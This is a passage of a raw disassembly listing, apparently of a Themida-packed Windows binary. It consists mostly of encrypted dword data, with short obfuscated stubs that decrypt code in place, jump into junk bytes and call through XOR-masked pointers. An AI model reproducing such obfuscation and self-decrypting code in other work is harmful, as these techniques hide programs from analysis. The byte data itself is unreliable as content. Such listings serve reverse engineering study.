4039C60h, 0D2068589h, 0E4286564h, 0D3574E7Bh, 0B97D3854h dd 9D611C2Eh, 1D2C89F0h, 9655E964h, 6867BB7Dh, 5476F135h dd 671FD559h, 79063665h, 51275447h, 4C4087E3h, 0A10315E9h dd 91C00A00h, 275F1B19h, 1C99B2C6h, 49DA3B8Ch, 108DBAC5h dd 1D6CDFECh, 0A17EB4EFh, 6128EC9Fh, 55EA3E42h, 0BBD758ADh dd 0B658DCC0h, 0D657C2FFh, 55EA3C7Bh, 269E94F8h, 1D9AB1C7h dd 4FC6C5E9h, 9EED1E62h, 80043471h, 0C8B2F372h, 0DCB872Ch dd 5A5173FCh, 4A980536h, 8BD62BE1h, 9C197487h, 0F5FB49ADh dd 59E83526h, 0DAF5FB49h, 0E4C05276h, 0C06FE177h, 11F548C4h dd 11E4B41Fh, 0C84AD42Bh, 546715F4h, 0D43972CBh, 6299FDEFh dd 6EB2E91Bh, 3605A21Dh, 4DFFD209h, 72944BC9h, 8A1FA9C9h dd 2044E7E7h, 0AFD27DFh, 8B99F1C3h, 7F7h, 0F0346767h, 0E3275677h dd 0C84C4944h, 0B67A315Fh, 0A3671A29h, 7F8E3418h, 6461FE02h dd 4E7AE529h, 2E50CF53h, 63DEBB7Fh, 0E96577C2h, 5D478C55h dd 0DED7F48Bh, 0EC816054h, 92053471h, 0BA9E53F0h, 0F09280B3h dd 0E697A853h, 718AAE92h, 0DA81A434h, 22593D49h, 0AF732A5Bh dd 247E84DCh, 9B10406Dh, 0CCC1C299h, 0EAA1A3BCh, 13C17725h dd 83910969h, 783h, 74B8F313h, 5FA3DAEBh, 44C8C5C0h, 32F6ADDBh dd 171B96B5h, 0F312A094h, 0E0ED7ABEh, 0CAC661A5h, 0AADC4BCFh dd 0FF422FF3h, 0E96583BEh, 0C9F30055h, 0A30C6180h, 53F09290h dd 0F00B2F13h, 0DA8125B7h, 6462F949h, 7FB51129h, 24CFFC0Bh dd 2E5E486Bh, 54D3F7F3h, 27547835h, 0EE26BCB4h, 0DB728095h dd 0D808259h, 2E5D6FFEh, 5F2CE4h, 17738B02h, 305CA91Dh dd 0BAB39A1Bh, 543855E9h, 722B5827h, 191B96B5h, 0BA320CADh dd 0F21055E9h, 0CDFC83BBh, 56661D2Bh, 8ABECEF2h, 0E9E7264Dh dd 1A3E9AB2h, 7C8DDCCFh, 0A9E4E601h, 6D6D846Bh, 8BADB0BFh dd 0A0F6491Fh, 5281F243h, 0DF557934h, 2F2Ch, 65808800h dd 3994EC1Fh, 0B227907Dh, 0A401A270h, 53F07B91h, 9716262Ah dd 53F07BA8h, 16648B4Ah, 859571C8h, 7D6h, 0EE2AC200h, 40000001h dd 21D8FD8Bh, 8EACD771h, 0DF09AE84h, 33417A0Eh, 0FAAB9002h dd 470653F7h, 46B443D5h, 89169163h, 49DC7A7Dh, 0C8BB92F6h dd 0B3BE00B8h, 80A4AD07h, 0E047D941h, 1590BC1Dh, 51B223F1h dd 0A6245F04h, 4AF92647h, 0C9E64FE4h, 5AE93645h, 0D9E64FE4h dd 0FD3A5175h, 0FC6339ADh, 32AAA2A6h, 3B96A5D3h, 536B2224h dd 8BB03DF7h, 4F20CB9h, 52740B00h, 7350205Bh, 0AD82D6ACh dd 0FDEEAD43h, 3FD5684Bh, 0A0A23DF5h, 4E862AEDh, 0CE3EAD41h dd 602FCh, 3F729200h, 225B6CFBh, 4B4641DEh, 732A58C7h dd 9C1130AFh, 89391398h, 6403077Ah, 7DEA2E67h, 55D25651h dd 0D9B47833h, 6A76C562h, 468D55E9h, 36656742h, 4F4A4605h dd 0D063CC3Fh, 5353F092h, 2E5CCBEFh, 9201BD77h, 59C6BDCBh dd 7BF7528h, 0E27992E6h, 3A9EAEE3h, 45CCFF8h, 0ED1C26B6h dd 0EA3C98B0h, 0B5D4F3FEh, 2044C0F8h, 8EABE3D2h, 0C04449DCh dd 0EAA1A33Ch, 191F8B25h, 97A51569h, 57Fh, 78BCEF1Fh, 6BAFDEEFh dd 50D4D1FCh, 3EC2B9D7h, 2BEFA2A1h, 7068CA0h, 0EC19868Ah dd 0D6F26DB1h, 0B6C857DBh, 0EB5643C7h, 0E96BFF4Ah, 0D5DF7455h dd 6366567h, 24544779h, 1F2E45F2h, 4C4745EDh, 70B4D83Ch dd 948916C4h, 0A1106085h, 68080089h, 4938CB49h, 4D000000h dd 472F6E37h, 0A37179B2h, 0D3F48BB9h, 0F926A2DAh, 6B43D1CCh dd 50DDEE9Ah, 49DC96A2h, 0DC6FC8A3h, 5755E496h, 0A4BCCFF3h dd 6AEB38C0h, 4363B13Fh, 0E47A5BE2h, 375EB955h, 0A974F53Bh dd 93A418Bh, 3AED9E94h, 0CB000000h, 0E01B6180h, 0DC2CF947h dd 0DAF57249h, 0F980BBDFh, 0A7A6D5C8h, 7EDAF2A9h, 0F08FFCB4h dd 26A2DAD3h, 0DC5DE1ECh, 4B7D55E4h, 3253CC50h, 0A39407Bh dd 13219D97h, 4A7h, 1B618099h, 7D4747E0h, 0D4B849DCh, 0F2A9DBA4h dd 98482D9h, 26636EF1h, 0ABB4F002h, 8BD4E49Fh, 91F50580h dd 0D3D7896h, 44D73E59h, 0E48D68DBh, 4367EB55h, 46D9309Fh dd 80920907h, 3854DD2Ch, 0B2C94D7Dh, 0E48DC675h, 0D5F95D55h dd 627979A6h, 96FA4FC8h, 0B8F31592h, 83C91880h, 434E1D88h dd 40D23646h, 0F444A155h, 0A6D6BA45h, 809BF221h, 0B622CBF9h dd 0DD3515C6h, 1DB24064h, 463D4BEBh, 6AAED236h, 0DAACB1Ah dd 41CC613Eh, 9EADD1B5h, 74315C23h, 997B3FBEh, 0BDCB5BE0h dd 0EB16F6A5h, 0E1EF388Dh, 0FC3692AAh, 55507B84h, 4746A125h dd 0B2D6324Ah, 3AC3C59Ah, 0BBE490AAh, 4BA05D88h, 7211070Bh dd 8981A5A3h, 6CC9DBF6h, 4BA01EDDh, 0BECEF256h, 0DFEFA2A1h dd 3D056CABh, 52D43B1Ah, 5BB6C5B3h, 728A0304h, 0D5911C16h dd 2E518CE6h dd 0D695E62Ah, 48CCFCB9h, 0B8F315CAh, 2FD0FF80h, 0C2CE516Eh dd 0A5D551C7h, 3450688Ch, 0F315345Bh, 0FD0C74B8h, 47337C8Fh dd 0D857B8F1h, 7FFB848Fh, 0A33CDCA6h, 95A5C9EDh, 0B5C5B8CAh dd 9A8CE352h, 0A10E3D4Bh, 6DA4B0D5h, 81B0FD6Eh, 2797C70h dd 65161A3Eh, 5CB277EFh, 96B22890h, 4367E31Bh, 0A2E81AB1h dd 7C933605h, 0A8E5E679h, 0FC403490h, 0ADDFA0D8h, 0D552CDFEh dd 797C9366h, 0D1A06BFDh, 84405535h, 9EE69260h, 9702394Fh dd 7C8B3B16h, 5ED4B879h, 7A0EC06Dh, 63E76350h, 0B873CA6Bh dd 76916350h, 0B30DD31Fh, 52A9B634h, 7000000h, 6FE96180h dd 5B98440Eh, 812E5D41h, 49DC1C91h, 0F9B4D695h, 0BBCF45C1h dd 0EDD467C0h, 8F2855E4h db 0BCh, 0EDh, 0E4h byte_5DD7AF db 55h ; DATA XREF: Themida_:0057DBA1o dd 1B7F5337h, 0E766C7F7h, 0C755E4EDh, 0D8A7D7C6h, 8B46E7ADh dd 855E4EDh, 0ACE8E004h, 7B66ACC3h, 0B765759Ch, 0C78BA90Bh dd 129h, 366567EDh, 404A7906h, 0F09254E7h, 476BEF53h, 9C162837h dd 0BF1B336Ah, 9210238Ch, 0AF9353F0h, 7900738Bh, 0DC38504Bh dd 0EF87B956h, 3793ABE2h, 0E47C0F13h, 297A8B4h, 0C2B34156h dd 53F0E8FEh, 604AED0h, 0F71B7F8Fh, 0E092B433h, 3490A8E5h dd 0CF445CE2h, 0EC109E41h, 0C8180DFh, 2A9A98FCh, 0B2DE53B2h dd 8880FD0Ch, 0B7C4E80Ch, 0DA68DB44h, 67EB53F0h, 0DA78CB54h dd 97FB53F0h, 0C985229Dh, 6549DC3Fh, 9A63C9EFh, 3DD06FE5h dd 9230E62Eh, 2624C399h, 39FB5F6Fh, 3E3645C9h, 78C8EDDDh dd 2FEB29A0h, 0F544E15Ch, 0A555E4CCh, 78DCECA7h, 0BAF20004h dd 812E5D2Bh, 4FCB9405h, 9AE11A7Eh, 0C0BBCD6Bh, 0E4284CC8h dd 0CE514C7Bh, 6302353Eh, 0E0F4C636h, 70000001h, 4ED95D50h dd 23BC403Dh, 3EA96D28h, 16919510h, 0F576BAF7h, 595473C3h dd 403D4AD5h, 6C2723BCh, 9E0D3FA8h, 238CFF9Ah, 55E96F10h dd 67BC6093h, 76F13568h, 0EA6AAB54h, 96EFC7C3h, 62DDAE72h dd 549BB6F7h, 341853F0h, 0F0540635h, 7BB99D53h, 1B6180F1h dd 6CD747E0h, 242849DCh, 9CAA9514h, 514855E4h, 9C8AB9E6h dd 50955E4h, 89D63C13h, 0F43EBCE7h, 2CF20017h, 8A8BA8DFh dd 6E46CFFAh, 0FD091CA5h, 0EB949E82h, 0ADh, 366567C1h dd 0B7D69506h, 8FBDC2FAh, 7C60E414h, 0B7EA19B6h, 97A22687h dd 8ABC53F0h, 6E900F13h, 0CD9C0F3Fh, 51B5C5C0h, 6E1AEBC3h dd 731ED05Dh, 73D749DCh, 4236D7AFh, 0DE8BEC49h, 0D8BC4FCBh dd 7C2030A3h, 0FD985775h, 0F716C54Fh, 284C3F41h, 252497E4h dd 0D2616823h, 515FDA46h, 0D004F31Fh, 0E327661h, 45385704h dd 2933CC2h, 0C6D44463h, 0DFh, 0D85C4F7Fh, 0CB4F3E4Fh dd 0B074315Ch, 9E621937h, 8B8F0201h, 67662C00h, 4C79E62Ah dd 3652CD51h, 1628B77Bh, 8BF6A367h, 0E96C1F2Ah, 0B57F9455h dd 0F1356867h, 0D5595476h, 3665671Fh, 0B54B4605h, 0C0F81C97h dd 61FECE44h, 491F2C5Fh, 0E7490AE8h, 48434500h, 62B0D430h dd 493FCEB6h, 0D7EBF532h, 0B6049DAh, 0EADA9FAAh, 0C301455h dd 2A6163FCh, 544779E6h, 0D71E8524h, 6AC54E21h, 39C2C403h dd 0D2FFDDDDh, 1EF145DBh, 0E78084A8h, 0B7404DE5h, 50519B64h dd 0FB1F0385h, 0B8E550C3h, 58A52E89h, 0A8F5060Ah, 58A52E99h dd 2FFC361Ah, 0F5526A21h, 0AED0EF06h, 0ACD30F0Dh, 0CDF12828h dd 57E243BEh, 0EC58A5C3h, 71EEAA68h, 0BF2C5C4Fh, 0DEEE9FA0h dd 8AEB87Ah, 0C4000000h, 0DDD8F48Bh, 67415357h, 7B043467h dd 253A5249h, 15E6E29h, 0EE718904h, 0D5AAA2DFh, 0BCC3FBB6h dd 98E7178Eh, 4718306Dh, 1F275746h, 81E28952h, 4C2h, 4EA8100h dd 87000000h, 895C2414h, 8956241Ch, 4C681E6h, 83000000h dd 348704EEh, 1C895C24h, 0E6895624h, 4C681h, 0EE810000h dd 4, 5C243487h, 51242C89h, 0F396BB53h, 0D9890619h, 59CB895Bh dd 242C8B54h, 4C481h, 0B9510000h, 8, 3B2E981h, 0E9012936h dd 3B2C181h, 19892936h, 242C8B59h, 81E78957h, 4C7h, 4C78100h dd 87000000h, 0FF5C243Ch, 835B2434h, 35E904C4h, 0CDFFFA81h dd 76166CC3h, 17F5E43h, 0FF1CB8BFh, 0C5030619h, 0B4CCE0FFh dd 435E001Fh, 0E1725721h, 1B544D17h, 59EC6719h, 0DEA37C01h dd 0F3B15673h, 5BF751B6h, 2BC43E6h, 866B4A25h, 0C55F4C8Dh dd 75835B71h, 8B694D9Ch, 17C355A1h, 0CA685229h, 26572EF3h dd 855B6463h, 7C164650h, 0E05B7927h, 0ADC77117h, 62823F9h dd 0C1706B6Bh, 1E971133h, 6987894h, 0D0C4264h, 0E33E5841h dd 0F5C61669h, 8F446E23h, 4FCA69EEh, 97C03980h, 5F26552Ah dd 8F640835h, 24EB2D05h, 9 dup(0) ; --------------------------------------------------------------------------- jmp loc_5DDCC2 ; --------------------------------------------------------------------------- mov [ebp+61A0040h], esi mov eax, [ebp+61401CDh] mov eax, [ebp+6140229h] lea esi, [ebp+61A008Ah] lea eax, [ebp+6174134h] call eax retn ; --------------------------------------------------------------------------- push ebp call $+5 pop ebp sub ebp, 61A0090h cmp dword ptr [ebp+61401CDh], 1 jnz loc_5DDC6C push dword ptr [ebp+61A0040h] mov eax, [ebp+6140229h] xor eax, 34812736h call eax cmp al, 1 jnz loc_5DDC65 mov eax, 1 jmp loc_5DDCAC ; --------------------------------------------------------------------------- loc_5DDC65: ; CODE XREF: Themida_:005DDC55j xor eax, eax jmp loc_5DDCAC ; --------------------------------------------------------------------------- loc_5DDC6C: ; CODE XREF: Themida_:005DDC3Aj push 1Ch lea esi, [ebp+61A0044h] push esi push dword ptr [ebp+61A0040h] mov eax, [ebp+6140229h] xor eax, 34812736h call eax add esp, 0Ch lea esi, [ebp+61A0044h] mov eax, [esi+14h] and eax, 4 cmp eax, 4 jz loc_5DDCA7 xor eax, eax jmp loc_5DDCAC ; --------------------------------------------------------------------------- loc_5DDCA7: ; CODE XREF: Themida_:005DDC9Aj mov eax, 1 loc_5DDCAC: ; CODE XREF: Themida_:005DDC60j ; Themida_:005DDC67j ... cmp dword ptr [ebp+61401CDh], 1 jnz loc_5DDCC0 pop ebp retn ; --------------------------------------------------------------------------- jmp loc_5DDCC2 ; --------------------------------------------------------------------------- loc_5DDCC0: ; CODE XREF: Themida_:005DDCB3j pop ebp iret ; --------------------------------------------------------------------------- loc_5DDCC2: ; CODE XREF: Themida_:005DDC00j ; Themida_:005DDCBBj lea eax, [ebp+61A0069h] mov [ebp+6141C55h], eax call sub_5DDCDD cmps dword ptr fs:[esi], dword ptr es:[edi] push ss iret ; --------------------------------------------------------------------------- db 28h dd 50689648h ; --------------------------------------------------------------------------- pop ebx ; =============== S U B R O U T I N E ======================================= sub_5DDCDD proc near ; CODE XREF: Themida_:005DDCCEp xor edi, 704E01D6h pop edx mov si, 83C6h add edx, 5D50h push esi pop eax push 172Ah pop ecx sbb si, 2A1h loc_5DDCFB: ; CODE XREF: sub_5DDCDD+99j mov ebx, [edx] pusha mov edi, edx jmp loc_5DDD0C ; --------------------------------------------------------------------------- db 0C5h, 0E8h, 48h ; --------------------------------------------------------------------------- setalc push eax stc pop edx loc_5DDD0C: ; CODE XREF: sub_5DDCDD+23j popa xor ebx, 6655A45h jmp loc_5DDD26 ; --------------------------------------------------------------------------- xor eax, 1384DC65h rcl dword ptr [edx], 1 mov al, ch mov ch, 0D0h xor ebp, edx loc_5DDD26: ; CODE XREF: sub_5DDCDD+36j xor ebx, 31111EF6h mov eax, ebx add ebx, 19521D46h jmp loc_5DDD40 ; --------------------------------------------------------------------------- align 2 dw 93Dh dd 0D0046D68h ; --------------------------------------------------------------------------- loc_5DDD40: ; CODE XREF: sub_5DDCDD+57j push ebx jno loc_5DDD49 mov edi, edx loc_5DDD49: ; CODE XREF: sub_5DDCDD+64j pop dword ptr [edx] jmp loc_5DDD62 ; --------------------------------------------------------------------------- dd 19721548h, 3EF43FDh, 55E08388h, 1280C743h ; --------------------------------------------------------------------------- sti dec ebp loc_5DDD62: ; CODE XREF: sub_5DDCDD+6Ej sub edx, 177871E1h add edx, 177871DDh jnz loc_5DDD75 cld loc_5DDD75: ; CODE XREF: sub_5DDCDD+91j dec ecx jnz loc_5DDCFB mov ax, bx lea ecx, [ebp+61A02C7h] push 0 push ecx call sub_5DDD90 and [ecx-3Dh], bl sub_5DDCDD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5DDD90 proc near ; CODE XREF: sub_5DDCDD+ABp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5DDD90 endp ; --------------------------------------------------------------------------- aad 97h cmpsd xchg eax, ebx cmp [edx+1], dh mov ch, 3Dh db 26h adc al, 6 mov [ebp+6142B69h], ecx push 0 push edx call sub_5DDDBD and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DDDBD proc near ; CODE XREF: Themida_:005DDDB5p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5DDDBD endp ; --------------------------------------------------------------------------- or ch, [ecx-75h] retn 85C7h ; --------------------------------------------------------------------------- db 55h dd 0E4061410h, 6A000063h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 5203C353h, 7E9h, 0A99F2200h dd 8B9B9378h, 13D85C7h, 614h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 4EAAB7C3h dd 0AE9h, 654F0700h, 0A618536Eh, 0FF2A8C72h, 142501B5h dd 0C9BE5006h, 5F33BA38h, 2800Fh, 0D88B0000h, 0BD995FFh dd 8D890614h, 614346Dh, 95FF006Ah, 6142971h, 7DEBC08Bh dd 3C326768h, 11FB06A5h, 0E403AB59h, 0C93890B7h, 0D950F6C7h dd 606EE056h, 755817C7h, 155EB967h, 8EF50E28h, 4891666Eh dd 5ACBDED9h, 1C9D9E58h, 65BDE20Ah, 1DFD5BD4h, 0F5C62168h dd 8C937BD6h, 24CE0375h, 0A427B90Eh, 59FAE40h, 9C36F1D9h dd 21FFE7A4h, 2E0C2833h, 64E8813Ch, 0EB6A2A88h, 66B13023h dd 812ECB22h, 0A08E4FEAh, 0F00D8BCEh, 0EBA2B1B4h, 0D8485A5Bh dd 62BFBACFh, 0F28D8D11h, 81061A03h, 377948CBh, 698D8964h dd 0C706142Bh, 14105585h, 700406h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 24692AF1h dd 1BA19589h, 85C70614h, 614013Dh, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5DDF3B and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DDF3B proc near ; CODE XREF: Themida_:005DDF33p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5DDF3B endp ; --------------------------------------------------------------------------- sbb [ebp+31h], edi pop eax mov edi, 6A096F0h adc dh, 8Ch push dword ptr [ebp+6140061h] jg loc_5DDF78 jmp loc_5DDF78 ; --------------------------------------------------------------------------- dd 3CD4881Eh, 7DDD9667h, 2A62AE2Dh, 0F8B8B7FCh ; --------------------------------------------------------------------------- loc_5DDF78: ; CODE XREF: Themida_:005DDF5Dj ; Themida_:005DDF63j call dword ptr [ebp+6140BD9h] sub [ebp+6141E75h], esi mov ax, cx push 0 call dword ptr [ebp+6142971h] mov eax, eax jmp short loc_5DE001 ; --------------------------------------------------------------------------- db 0B1h dd 94E50295h, 56BDED60h, 85BD42ACh, 30A947E0h, 3829DE87h dd 13DB93B8h, 0DCDC9DDEh, 5F0641EDh, 391406B4h, 85A922CCh dd 0E1A13BD4h, 7ACF98F0h, 22E7F1D8h, 0BBF92342h, 3FABB545h dd 218C9F1Fh, 0FB09AEC2h, 0E5CC2AD2h, 0AD4EABFEh, 566C03F3h dd 6A46BDDDh, 0C65F885Fh, 0DD5CF6ABh, 0E49939BBh, 5B3B06E5h dd 45FE770Ah, 0D86C1DAh db 3Dh ; --------------------------------------------------------------------------- loc_5DE001: ; CODE XREF: Themida_:005DDF91j jmp loc_5DE030 ; --------------------------------------------------------------------------- dw 25ECh dd 6666h, 254h, 8 dup(0) ; --------------------------------------------------------------------------- loc_5DE030: ; CODE XREF: Themida_:loc_5DE001j jmp loc_5DEC3B ; --------------------------------------------------------------------------- push 61A066Dh jmp loc_591F29 ; --------------------------------------------------------------------------- push 61A0764h jmp loc_591F29 ; --------------------------------------------------------------------------- push 61A0904h jmp loc_591F29 ; --------------------------------------------------------------------------- push 61A09D7h jmp loc_591F29 ; --------------------------------------------------------------------------- push 61A0A82h jmp loc_591F29 ; --------------------------------------------------------------------------- push 61A0C29h jmp loc_591F29 ; --------------------------------------------------------------------------- push 61A0CABh jmp loc_591F29 ; --------------------------------------------------------------------------- push 61A0E10h jmp loc_591F29 ; --------------------------------------------------------------------------- push 61A0EF4h jmp loc_591F29 ; --------------------------------------------------------------------------- db 95h dd 37B5E241h, 0CA1A49E0h, 6FFD2A87h, 444F32Eh, 0C12C5BD4h dd 0A6F95B04h, 29DF371h, 0D54497D5h, 0B3F02EBEh, 0D3EB6A04h dd 398185EDh, 663CA1B5h, 1582FB38h, 81E8CEF4h, 0CEB83367h dd 217EDC4Ah, 42938DF2h, 26516BEFh, 11225825h, 0B1357392h dd 6E85EC7h, 96397B92h, 1874E942h, 6C0065BAh, 7258F728h dd 953981DCh, 3EF5BAC1h, 0F5128D54h, 7B99E7CDh, 0B6339939h dd 6DABD531h, 4DE16113h, 65h, 31172F4Ch, 71397BECh, 8A368387h dd 25A2F6D9h, 0DC0EB8F3h, 3669AF71h, 14351D4Fh, 739029EEh dd 0B1E3B935h, 0B8ADFE52h, 0A5E75E88h, 0BA9C120Bh, 80397B8Fh dd 4249B989h, 0CDA9C9EBh, 838DA145h, 0AE765C62h, 5A0A397Bh dd 3556D710h, 29295B72h, 54CAA8C5h, 197BA58Dh, 9A137886h dd 0CD61E1A3h, 0CAh, 0FB386660h, 71AAEA82h, 8D22700Ch dd 0C6CB3B98h, 898A0237h, 0C6D9A65Ch, 965AE896h, 15E09C1Eh dd 75DD0FAEh, 9F346BABh, 67E38AA7h, 0FE0BFB33h, 2186DA47h dd 5AB866E2h, 0D80AA9E9h, 73F5C7Dh, 33685821h, 0A98FF761h dd 0F9336858h, 0B4340B0Fh, 0D04CC966h, 1A2B2F80h, 9FFEFDAEh dd 74707E67h, 0E031EF35h, 0A557C54Dh, 8A31010Eh, 0C7FD3A3Ch dd 0F2ADDFBBh, 0BA6E94F1h, 4E3B8546h, 2D6FB19Ch, 0D50745F2h dd 0DC023D5Ah, 0B12426A8h, 96E61h, 68C70B00h, 3766AD3Bh dd 900D4080h, 79B4E563h, 0C15ABACAh, 0D18E4F92h, 69F72C7Fh dd 0D5B8823h, 0A42453CAh, 0D48A3976h, 87674D75h, 333B3981h dd 0E536664Eh, 43E03E4Eh, 0D98A8714h, 7E437BDAh, 435738Fh dd 6C9E1346h, 8F9F81F9h, 0ACEF397Bh, 70A20151h, 0A11C730Dh dd 9B823C6Fh, 0EA340A88h, 7B8FEED4h, 96C0B239h, 0ABB0860Ah dd 8D542106h, 0C5B6h, 87993B00h, 0A17FDB56h, 354B3271h dd 5DD548E3h, 33678640h, 0E41390CEh, 9CF93664h, 8561477Fh dd 0B7213367h, 536B2D3h, 16FF0706h, 8735739Dh, 82C124B7h dd 3868DD4Eh, 6E6A6E8Ch, 114630EAh, 0E0F0C3Fh, 43DE3FE1h dd 0FD50AEDAh, 0FFA0A0A0h, 703B85CAh, 0ED6BF982h, 60E091AAh dd 0A37DD88Ah, 0C15F3E71h, 0C037138Ah, 42285E7Fh, 52336A3Eh dd 0AC5EA801h, 811A7AA4h, 0A8A55D42h, 0A674E126h, 877h dd 2453D002h, 893E6FA4h, 6C9B167Bh, 3360BD1Ch, 9BC863B5h dd 88C89750h, 2C60E017h, 0D30444F3h, 7FDF2D5Ah, 7ADBF320h dd 81885E44h, 47CA2239h, 98E53666h, 9B68FBAAh, 2121F245h dd 0E3409EEEh, 386667B4h, 6251EF9h, 1446E09Ah, 0A0FF5F31h dd 0BE6E1973h, 6879A288h, 0D20CFE33h, 8F324B73h, 6F03574h dd 9211411Fh, 0C3FB1865h, 397C70DDh, 0D14FCBA5h, 0C33B2281h dd 0BA369202h, 0A8D96D95h, 4E9E356Ah, 34AA9310h, 0B4BA4D53h dd 0C1A4FB5Bh, 4D306FAFh, 5B96A802h, 7988DE34h, 12284919h dd 0B4BA4D2Ch, 0BCA29A74h, 0C4B4BA4Dh, 3D4BF82Ah, 7EDF46DDh dd 4D432951h, 0AD5FB4BAh, 0A5ADFC5Fh, 0EB4B909Dh, 42DF3E4Dh dd 5E447ADBh, 22B214B4h, 0B4E52AB0h, 12248ED1h, 0A2C3CCDFh dd 14B4B69Ch, 3818CAB2h, 5383C294h, 0D1039CF0h, 0CFF38674h dd 0FE84BCFBh, 8DF02D60h, 44847BDFh, 24A49916h, 0F50D080Bh dd 0B4217478h, 55C41709h, 164D3FEDh, 0F826093Ah, 636C5268h dd 5A34AC21h, 679FFE28h, 0AE2D634Ah, 0AF271EC8h, 0B21564CEh dd 3365BB92h, 43C785F8h, 2F7C87DFh, 0E905EE12h, 437h, 819A800Ch dd 25153367h, 88C97035h, 0C4703015h, 0F80ECF8Bh, 3367F612h dd 3C42FC6Eh, 0A3E144D9h, 6BD9FA7h, 0EE3E3368h, 0EF1773B0h dd 3367E8F5h, 837D4886h, 0B3BC4FC5h, 419FC960h, 0FBA99C0Fh dd 7985679Fh, 4AE53368h, 4CFE3565h, 0A2C4B9C1h, 0CCBE3574h dd 968F9887h, 9B3BAA20h, 6D7h, 44F33062h, 295ECF04h, 8C3B76DBh dd 53801D7Ch, 3B68C315h, 0E82877B0h, 8CC000B7h, 3364E413h dd 0DF3F4DFAh, 1A7B1340h, 818AFEE4h, 27AA8239h, 12283866h dd 3367812Ch, 3206CC56h, 27B1C603h, 0B5221BB5h, 93F72A6Bh dd 40CDCE79h, 0D1351B23h, 914D3367h, 0CFEB906h, 92F620E8h dd 7DD24A6Bh, 9C1C242Ch, 0D3357D8Ch, 56B9084Dh, 0F0B095C7h dd 0BBE89A90h, 0A78DB5D2h, 0FB398184h, 0FB9F425h, 8412F80Eh dd 0FC6E3981h, 71F12D94h, 5B78C5C6h, 17F9F1EBh, 6DD5A929h dd 8E1EBC55h, 8E8C7E3Bh, 155A9336h, 6B44F79Ch, 0FD588A25h dd 0E3238CC5h, 0E95C0EE4h, 4ACBC87Bh, 0EF5B9434h, 0EF6E18DEh dd 1542E131h, 0EB2887D7h, 773BC8D2h, 4F12194h, 0B1000006h dd 5391C65Dh, 0F676ADFCh, 8BD90EA3h, 20A0D74Ah, 0E508BFF0h dd 9A154718h, 66B91F6Dh, 0C960B331h, 970C4A9Ah, 0B7CF4E60h dd 39818AD1h, 8AD05DD1h, 5A7BDAD9h, 67813E24h, 0B0904233h dd 97587189h, 28DA3573h, 0CA3F32Dh, 0D6EF6B19h, 62DB5886h dd 0DA57EF13h, 8AABAAA9h, 7B988E74h, 0E0601239h, 0AEA8C1F9h dd 0F86A3B87h, 81F9DB4Bh, 7D633367h, 0E5336781h, 0AFCC494Ah dd 0EC3D9E8Eh, 67819278h, 147CEE33h, 7D866CECh, 1F06F035h dd 8185C0A7h, 0ADEF3139h, 0DFEE1672h, 6FD2B283h, 1053F02Fh dd 0F22CC567h, 5595383h, 0B2E40000h, 5186C67Dh, 0F85DABD8h dd 9FFE0EA5h, 4597D502h, 0F532BDEAh, 82316AAAh, 669D0E42h dd 0CF64B5E6h, 95C261B1h, 7C6298F9h, 439818Bh, 0D98AAD10h dd 0C3437BDAh, 4F357D85h, 86D4A89Dh, 0D286FA29h, 2C059AFBh dd 755630F7h, 9BC9BCEEh, 0A11EEC69h, 89207328h, 0D6B8D494h dd 0CBFA5E1Dh, 99CE65B5h, 0B1940B4Bh, 15FB0320h, 6D39827Bh dd 7B341A20h, 924C3982h, 0D806E060h, 57BBE25Bh, 1390CEFFh dd 447A9BE4h, 39827B5Eh, 6CD0B022h, 8D5B0D3Fh, 15BF9h dd 0D98A7C00h, 0C6437BDAh, 0BF3573ABh, 8AF32A61h, 36A07ADEh dd 0F95ECE4Fh, 8B8FBDA0h, 7BAB977Bh, 6AFCD639h, 868784B7h dd 87D60380h, 70DD8F3Bh, 0ED9D1382h, 26C676ADh, 79CE4AC9h dd 1174ABEBh, 53801F7Fh, 31614EF9h, 0F12380DEh, 0AFC0C647h dd 533573B2h, 6446BCA1h, 6A397BB1h, 264B90A6h, 968D545Fh dd 4Ah, 4278991Bh, 3367815Ch, 0BCCE4A24h, 336CAC83h, 35988481h dd 43C785F8h, 8F5F245Ah, 0F1633573h, 8F34168Ch, 133A397Bh dd 607BB823h, 0F85DE71Fh, 5680C0A5h, 0F3F84EF2h, 8D5491BEh dd 0ACFF55CBh, 0A6A2FF5Eh, 0A232h, 3866A700h, 0AAEA82FBh dd 22700C71h, 96C4988Dh, 2ACE3C19h, 9F70A4A5h, 7FE75838h dd 3367C062h, 2B1EE2Ch, 1F7E7D2Eh, 8CE600FEh, 9A2076FCh dd 0CD7FE63Bh, 408FB793h, 42357206h, 296BB590h, 0EFC41F6h dd 4E074D47h, 0A70112A2h, 414D47F7h, 2577B191h, 0EE004D8Ah dd 93022094h, 3B243h, 940B4F00h, 73AAE17Fh, 0DC5184C4h dd 0A5F859A7h, 0D9EFE0Eh, 154A8BD6h, 0AD3B68C3h, 419F3467h dd 18689F0Eh, 10CE65BAh, 8D230931h, 0F77F3981h, 0E536660Ah dd 43E03E4Eh, 0E4DB2B14h, 0D30204F1h, 66E36EEAh, 0EA82FB38h dd 0D3C077ACh, 67019E80h, 1260833h, 0E99A3368h, 0D3536BEAh dd 5F357E05h, 0A2DC4F81h, 94C25ABBh, 1E7A261Fh, 0D5B0B3ECh dd 8E11ECADh, 0C70CFE3Bh, 269CDA90h, 30F32392h, 0CD000003h dd 6FFD2A89h, 242F128h, 0A72552CFh, 7C8C3B76h, 954831Ch dd 0EE4193CCh, 4AE52BB9h, 1D8CCF1Dh, 0FB3866E6h, 8BB3924Ch dd 39818DA5h, 66F479FDh, 0EA82FB38h, 7F87A4ACh, 33678199h dd 21077FE9h, 61336781h, 322E45F7h dd 1D030201h, 0FD1C64B7h, 7392B4C5h, 0C1A45635h, 7B916749h dd 7247539h, 7B9119FFh, 9BFF6939h, 